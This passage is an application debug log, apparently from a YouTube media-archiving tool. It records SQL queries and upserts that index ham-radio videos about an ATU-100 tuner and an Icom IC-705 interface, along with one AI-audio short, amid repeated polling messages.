("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Montar una placa de buffer para el control CAT de los acopladores N7DDC (ATU100) desde los equipos ICOM.\n\nKits N7DDC (a modo de ejemplo):\n\nhttps://www.amazon.es/Sintonizador-Antena-autom%C3%A1tico-ATU-100-N7DDC/dp/B09M3GH83D\nhttps://es.aliexpress.com/item/4000804507384.html\n\nPlaca control CAT para equipos Icom:\n\nhttps://www.amazon.es/Durratou-ATU-100-IC-7300-Placa-Expansi%C3%B3n/dp/B0CJMBVFBK\nhttps://www.amazon.es/y-luck-Tarjeta-Expansi%C3%B3N-ATU-100-IC-7300/dp/B0CHYYC3PD\nhttps://es.aliexpress.com/item/1005002658650559.html\n\n\n\n Contenido del video ------------------------------\n00:00 - Presentación\n00:53 - Intro canal\n01:11 - Como interfasar\n03:03 - Placa interface\n07:58 - Cables bajo placa\n08:34 - Placa en caja\n10:32 - Conectando líneas\n13:04 - Conexión a equipos Icom\n15:02 - Conectando acoplador e IC705\n15:52 - Puesta en marcha\n17:40 - Acoplando\n20:40 - Conclusiones\n\n\n#n7ddc #atu100 #ic705 #hamradio #radioafición #cacharreo #diyelectronics #cat \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "119 - ATU100 CON CONTROL CAT IC705 ICOM N7DDC", "f4be0a12-a9d5-4a0c-89b1-9433dc4b4246", 1331, false, "T1L-jleMbK0", "https://www.youtube.com/watch?v=T1L-jleMbK0", 62, "/downloads/music/ea3grn/119 - ATU100 CON CONTROL CAT IC705 ICOM N7DDC.m4a", false, false, false, 3, [], 98, ~U[2023-11-09 15:55:21Z], ~U[2026-02-07 21:49:07Z], ~U[2026-02-07 21:49:07Z], "Montar una placa de buffer para el control CAT de los acopladores N7DDC (ATU100) desde los equipos ICOM.\n\nKits N7DDC (a modo de ejemplo):\n\nhttps://www.amazon.es/Sintonizador-Antena-autom%C3%A1tico-ATU-100-N7DDC/dp/B09M3GH83D\nhttps://es.aliexpress.com/item/4000804507384.html\n\nPlaca control CAT para equipos Icom:\n\nhttps://www.amazon.es/Durratou-ATU-100-IC-7300-Placa-Expansi%C3%B3n/dp/B0CJMBVFBK\nhttps://www.amazon.es/y-luck-Tarjeta-Expansi%C3%B3N-ATU-100-IC-7300/dp/B0CHYYC3PD\nhttps://es.aliexpress.com/item/1005002658650559.html\n\n\n\n Contenido del video ------------------------------\n00:00 - Presentación\n00:53 - Intro canal\n01:11 - Como interfasar\n03:03 - Placa interface\n07:58 - Cables bajo placa\n08:34 - Placa en caja\n10:32 - Conectando líneas\n13:04 - Conexión a equipos Icom\n15:02 - Conectando acoplador e IC705\n15:52 - Puesta en marcha\n17:40 - Acoplando\n20:40 - Conclusiones\n\n\n#n7ddc #atu100 #ic705 #hamradio #radioafición #cacharreo #diyelectronics #cat \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "119 - ATU100 CON CONTROL CAT IC705 ICOM N7DDC", 1331, false, "T1L-jleMbK0", "https://www.youtube.com/watch?v=T1L-jleMbK0", "/downloads/music/ea3grn/119 - ATU100 CON CONTROL CAT IC705 ICOM N7DDC.m4a", false, 3, ~U[2023-11-09 15:55:21Z]] 22:49:07.387 [debug] QUERY OK source="sources" db=0.5ms idle=288.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:49:07.388 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:49:07.388 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1424] 22:49:07.389 [debug] Current batch of media processed. Will check again in 1000ms 22:49:08.299 [debug] Current batch of media processed. Will check again in 1000ms 22:49:08.389 [debug] Current batch of media processed. Will check again in 1000ms 22:49:09.300 [debug] Current batch of media processed. Will check again in 1000ms 22:49:09.390 [debug] Current batch of media processed. Will check again in 1000ms 22:49:10.301 [debug] Current batch of media processed. Will check again in 1000ms 22:49:10.391 [debug] Current batch of media processed. Will check again in 1000ms 22:49:11.302 [debug] Current batch of media processed. Will check again in 1000ms 22:49:11.392 [debug] Current batch of media processed. Will check again in 1000ms 22:49:12.303 [debug] Current batch of media processed. Will check again in 1000ms 22:49:12.393 [debug] Current batch of media processed. Will check again in 1000ms 22:49:13.304 [debug] Current batch of media processed. Will check again in 1000ms 22:49:13.394 [debug] Current batch of media processed. Will check again in 1000ms 22:49:14.305 [debug] Current batch of media processed. Will check again in 1000ms 22:49:14.395 [debug] Current batch of media processed. Will check again in 1000ms 22:49:15.306 [debug] Current batch of media processed. Will check again in 1000ms 22:49:15.396 [debug] Current batch of media processed. Will check again in 1000ms 22:49:16.307 [debug] Current batch of media processed. Will check again in 1000ms 22:49:16.397 [debug] Current batch of media processed. Will check again in 1000ms 22:49:17.308 [debug] Current batch of media processed. Will check again in 1000ms 22:49:17.398 [debug] Current batch of media processed. Will check again in 1000ms 22:49:18.309 [debug] Current batch of media processed. Will check again in 1000ms 22:49:18.399 [debug] Current batch of media processed. Will check again in 1000ms 22:49:19.310 [debug] Current batch of media processed. Will check again in 1000ms 22:49:19.400 [debug] Current batch of media processed. Will check again in 1000ms 22:49:20.311 [debug] Current batch of media processed. Will check again in 1000ms 22:49:20.401 [debug] Current batch of media processed. Will check again in 1000ms 22:49:21.277 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:21.312 [debug] Current batch of media processed. Will check again in 1000ms 22:49:21.402 [debug] Current batch of media processed. Will check again in 1000ms 22:49:22.313 [debug] Current batch of media processed. Will check again in 1000ms 22:49:22.403 [debug] Current batch of media processed. Will check again in 1000ms 22:49:23.314 [debug] Current batch of media processed. Will check again in 1000ms 22:49:23.404 [debug] Current batch of media processed. Will check again in 1000ms 22:49:24.315 [debug] Current batch of media processed. Will check again in 1000ms 22:49:24.405 [debug] Current batch of media processed. Will check again in 1000ms 22:49:25.316 [debug] Current batch of media processed. Will check again in 1000ms 22:49:25.406 [debug] Current batch of media processed. Will check again in 1000ms 22:49:26.317 [debug] Current batch of media processed. Will check again in 1000ms 22:49:26.407 [debug] Current batch of media processed. Will check again in 1000ms 22:49:27.318 [debug] Current batch of media processed. Will check again in 1000ms 22:49:27.408 [debug] Current batch of media processed. Will check again in 1000ms 22:49:28.319 [debug] Current batch of media processed. Will check again in 1000ms 22:49:28.409 [debug] Current batch of media processed. Will check again in 1000ms 22:49:29.320 [debug] Current batch of media processed. Will check again in 1000ms 22:49:29.410 [debug] Current batch of media processed. Will check again in 1000ms 22:49:30.321 [debug] Current batch of media processed. Will check again in 1000ms 22:49:30.411 [debug] Current batch of media processed. Will check again in 1000ms 22:49:31.322 [debug] Current batch of media processed. Will check again in 1000ms 22:49:31.412 [debug] Current batch of media processed. Will check again in 1000ms 22:49:32.323 [debug] Current batch of media processed. Will check again in 1000ms 22:49:32.413 [debug] Current batch of media processed. Will check again in 1000ms 22:49:33.324 [debug] Current batch of media processed. Will check again in 1000ms 22:49:33.414 [debug] Current batch of media processed. Will check again in 1000ms 22:49:34.325 [debug] Current batch of media processed. Will check again in 1000ms 22:49:34.415 [debug] Current batch of media processed. Will check again in 1000ms 22:49:35.326 [debug] Current batch of media processed. Will check again in 1000ms 22:49:35.416 [debug] Current batch of media processed. Will check again in 1000ms 22:49:36.327 [debug] Current batch of media processed. Will check again in 1000ms 22:49:36.417 [debug] Current batch of media processed. Will check again in 1000ms 22:49:37.328 [debug] Current batch of media processed. Will check again in 1000ms 22:49:37.418 [debug] Current batch of media processed. Will check again in 1000ms 22:49:38.329 [debug] Current batch of media processed. Will check again in 1000ms 22:49:38.419 [debug] Current batch of media processed. Will check again in 1000ms 22:49:39.330 [debug] Current batch of media processed. Will check again in 1000ms 22:49:39.420 [debug] Current batch of media processed. Will check again in 1000ms 22:49:40.331 [debug] Current batch of media processed. Will check again in 1000ms 22:49:40.421 [debug] Current batch of media processed. Will check again in 1000ms 22:49:41.333 [debug] Current batch of media processed. Will check again in 1000ms 22:49:41.422 [debug] Current batch of media processed. Will check again in 1000ms 22:49:42.333 [debug] Current batch of media processed. Will check again in 1000ms 22:49:42.423 [debug] Current batch of media processed. Will check again in 1000ms 22:49:43.334 [debug] Current batch of media processed. Will check again in 1000ms 22:49:43.424 [debug] Current batch of media processed. Will check again in 1000ms 22:49:44.335 [debug] Current batch of media processed. Will check again in 1000ms 22:49:44.425 [debug] Current batch of media processed. Will check again in 1000ms 22:49:45.336 [debug] Current batch of media processed. Will check again in 1000ms 22:49:45.426 [debug] Current batch of media processed. Will check again in 1000ms 22:49:46.337 [debug] Current batch of media processed. Will check again in 1000ms 22:49:46.427 [debug] Current batch of media processed. Will check again in 1000ms 22:49:47.338 [debug] Current batch of media processed. Will check again in 1000ms 22:49:47.428 [debug] Current batch of media processed. Will check again in 1000ms 22:49:48.339 [debug] Current batch of media processed. Will check again in 1000ms 22:49:48.429 [debug] Current batch of media processed. Will check again in 1000ms 22:49:49.340 [debug] Current batch of media processed. Will check again in 1000ms 22:49:49.430 [debug] Current batch of media processed. Will check again in 1000ms 22:49:50.341 [debug] Current batch of media processed. Will check again in 1000ms 22:49:50.431 [debug] Current batch of media processed. Will check again in 1000ms 22:49:51.278 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:51.342 [debug] Current batch of media processed. Will check again in 1000ms 22:49:51.432 [debug] Current batch of media processed. Will check again in 1000ms 22:49:52.343 [debug] Current batch of media processed. Will check again in 1000ms 22:49:52.433 [debug] Current batch of media processed. Will check again in 1000ms 22:49:53.344 [debug] Current batch of media processed. Will check again in 1000ms 22:49:53.434 [debug] Current batch of media processed. Will check again in 1000ms 22:49:54.345 [debug] Current batch of media processed. Will check again in 1000ms 22:49:54.435 [debug] Current batch of media processed. Will check again in 1000ms 22:49:55.346 [debug] Current batch of media processed. Will check again in 1000ms 22:49:55.436 [debug] Current batch of media processed. Will check again in 1000ms 22:49:56.347 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 1: TEXTO A AUDIO 2.0: ¡Descubre el fascinante mundo del audio con IA! Exploramos herramientas como Eleven Labs y Notebook LM, que transforma URLs en podcasts. ¡Únete a nuestra conversación sobre tecnología de audio y comparte tu feedback! ¡Las pruebas son gratuitas! #IAAudio #ElevenLabs #NotebookLM #PodcastIA #TecnologíaAudio #InnovaciónSonora #AudioGratis #FeedbackIA #URLPodcast #HerramientasIA", "duration" => 46, "filename" => "/downloads/music/IA mí QUÉ/¡IA Audio GRATIS! Convierte URLs en Podcast al INSTANTE.m4a", "id" => "X7AzyFongdA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/X7AzyFongdA", "playlist_index" => 8, "timestamp" => 1748005448, "title" => "¡IA Audio GRATIS! Convierte URLs en Podcast al INSTANTE", "upload_date" => "20250523"} 22:49:56.348 [debug] QUERY OK source="sources" db=0.7ms idle=1581.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:49:56.349 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1582.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:49:56.350 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1583.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-23 13:04:08Z], 2] 22:49:56.352 [debug] QUERY OK source="media_items" db=0.9ms idle=1162.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 1: TEXTO A AUDIO 2.0: ¡Descubre el fascinante mundo del audio con IA! Exploramos herramientas como Eleven Labs y Notebook LM, que transforma URLs en podcasts. ¡Únete a nuestra conversación sobre tecnología de audio y comparte tu feedback! ¡Las pruebas son gratuitas! #IAAudio #ElevenLabs #NotebookLM #PodcastIA #TecnologíaAudio #InnovaciónSonora #AudioGratis #FeedbackIA #URLPodcast #HerramientasIA", "¡IA Audio GRATIS! Convierte URLs en Podcast al INSTANTE", "fb74d1aa-8c97-4526-93c6-c08fedf9d575", 46, false, "X7AzyFongdA", "https://www.youtube.com/shorts/X7AzyFongdA", 8, "/downloads/music/IA mí QUÉ/¡IA Audio GRATIS! Convierte URLs en Podcast al INSTANTE.m4a", false, false, true, 2, [], 97, ~U[2025-05-23 13:04:08Z], ~U[2026-02-07 21:49:56Z], ~U[2026-02-07 21:49:56Z], "PARTE 1: TEXTO A AUDIO 2.0: ¡Descubre el fascinante mundo del audio con IA! Exploramos herramientas como Eleven Labs y Notebook LM, que transforma URLs en podcasts. ¡Únete a nuestra conversación sobre tecnología de audio y comparte tu feedback! ¡Las pruebas son gratuitas! #IAAudio #ElevenLabs #NotebookLM #PodcastIA #TecnologíaAudio #InnovaciónSonora #AudioGratis #FeedbackIA #URLPodcast #HerramientasIA", "¡IA Audio GRATIS! Convierte URLs en Podcast al INSTANTE", 46, false, "X7AzyFongdA", "https://www.youtube.com/shorts/X7AzyFongdA", "/downloads/music/IA mí QUÉ/¡IA Audio GRATIS! Convierte URLs en Podcast al INSTANTE.m4a", true, 2, ~U[2025-05-23 13:04:08Z]] 22:49:56.352 [debug] QUERY OK source="sources" db=0.4ms idle=162.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:49:56.353 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:49:56.354 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1380] 22:49:56.354 [debug] Current batch of media processed. Will check again in 1000ms 22:49:56.437 [debug] Current batch of media processed. Will check again in 1000ms 22:49:57.354 [debug] Current batch of media processed. Will check again in 1000ms 22:49:57.438 [debug] Current batch of media processed. Will check again in 1000ms 22:49:58.355 [debug] Current batch of media processed. Will check again in 1000ms 22:49:58.439 [debug] Current batch of media processed. Will check again in 1000ms 22:49:59.356 [debug] Current batch of media processed. Will check again in 1000ms 22:49:59.440 [debug] Current batch of media processed. Will check again in 1000ms 22:50:00.132 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:00.357 [debug] Current batch of media processed. Will check again in 1000ms 22:50:00.441 [debug] Current batch of media processed. Will check again in 1000ms 22:50:01.358 [debug] Current batch of media processed. Will check again in 1000ms 22:50:01.442 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Según dicen las malas lenguas, el Icom IC705 es sensible a conectar un amplificador de potencia y controlarlo mediante el conector SEND/ALC. Para prevenir problemas, os explico como usar un económico módulo de relé para accionar el amplificador de potencia.\n\n\n#ic705 #amplificador #hamradio #radioaficionados #averias #relé \n\n\n\n\n\n\nContenido del video\n\n\n00:00 - Presentación\n00:54 - Intro canal\n01:12 - Explicando el problema\n06:39 - Solución comercial\n08:53 - Mi idea\n12:26 - Modificaciones placa relés\n20:09 - Ensamblado y listo\n20:51 - Prueba final\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1378, "filename" => "/downloads/music/ea3grn/118 - INTERFAZ IC705 - AMPLIFICADOR POTENCIA.m4a", "id" => "-GgS2hE-U8A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-GgS2hE-U8A", "playlist_index" => 63, "timestamp" => 1697731200, "title" => "118 - INTERFAZ IC705 - AMPLIFICADOR POTENCIA", "upload_date" => "20231019"} 22:50:01.443 [debug] QUERY OK source="sources" db=0.5ms idle=1676.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:50:01.444 [debug] QUERY OK source="sources" db=0.4ms idle=1677.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:50:01.445 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1312.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-19 16:00:00Z], 3] 22:50:01.447 [debug] QUERY OK source="media_items" db=1.1ms idle=1248.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Según dicen las malas lenguas, el Icom IC705 es sensible a conectar un amplificador de potencia y controlarlo mediante el conector SEND/ALC. Para prevenir problemas, os explico como usar un económico módulo de relé para accionar el amplificador de potencia.\n\n\n#ic705 #amplificador #hamradio #radioaficionados #averias #relé \n\n\n\n\n\n\nContenido del video\n\n\n00:00 - Presentación\n00:54 - Intro canal\n01:12 - Explicando el problema\n06:39 - Solución comercial\n08:53 - Mi idea\n12:26 - Modificaciones placa relés\n20:09 - Ensamblado y listo\n20:51 - Prueba final\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "118 - INTERFAZ IC705 - AMPLIFICADOR POTENCIA", "e7fe8eef-ff7f-42ab-8c1a-7308ca345ff1", 1378, false, "-GgS2hE-U8A", "https://www.youtube.com/watch?v=-GgS2hE-U8A", 63, "/downloads/music/ea3grn/118 - INTERFAZ IC705 - AMPLIFICADOR POTENCIA.m4a", false, false, false, 3, [], 98, ~U[2023-10-19 16:00:00Z], ~U[2026-02-07 21:50:01Z], ~U[2026-02-07 21:50:01Z], "Según dicen las malas lenguas, el Icom IC705 es sensible a conectar un amplificador de potencia y controlarlo mediante el conector SEND/ALC. Para prevenir problemas, os explico como usar un económico módulo de relé para accionar el amplificador de potencia.\n\n\n#ic705 #amplificador #hamradio #radioaficionados #averias #relé \n\n\n\n\n\n\nContenido del video\n\n\n00:00 - Presentación\n00:54 - Intro canal\n01:12 - Explicando el problema\n06:39 - Solución comercial\n08:53 - Mi idea\n12:26 - Modificaciones placa relés\n20:09 - Ensamblado y listo\n20:51 - Prueba final\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "118 - INTERFAZ IC705 - AMPLIFICADOR POTENCIA", 1378, false, "-GgS2hE-U8A", "https://www.youtube.com/watch?v=-GgS2hE-U8A", "/downloads/music/ea3grn/118 - INTERFAZ IC705 - AMPLIFICADOR POTENCIA.m4a", false, 3, ~U[2023-10-19 16:00:00Z]] 22:50:01.447 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=248.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:50:01.448 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:50:01.449 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1426] 22:50:01.449 [debug] Current batch of media processed. Will check again in 1000ms 22:50:02.359 [debug] Current batch of media processed. Will check again in 1000ms 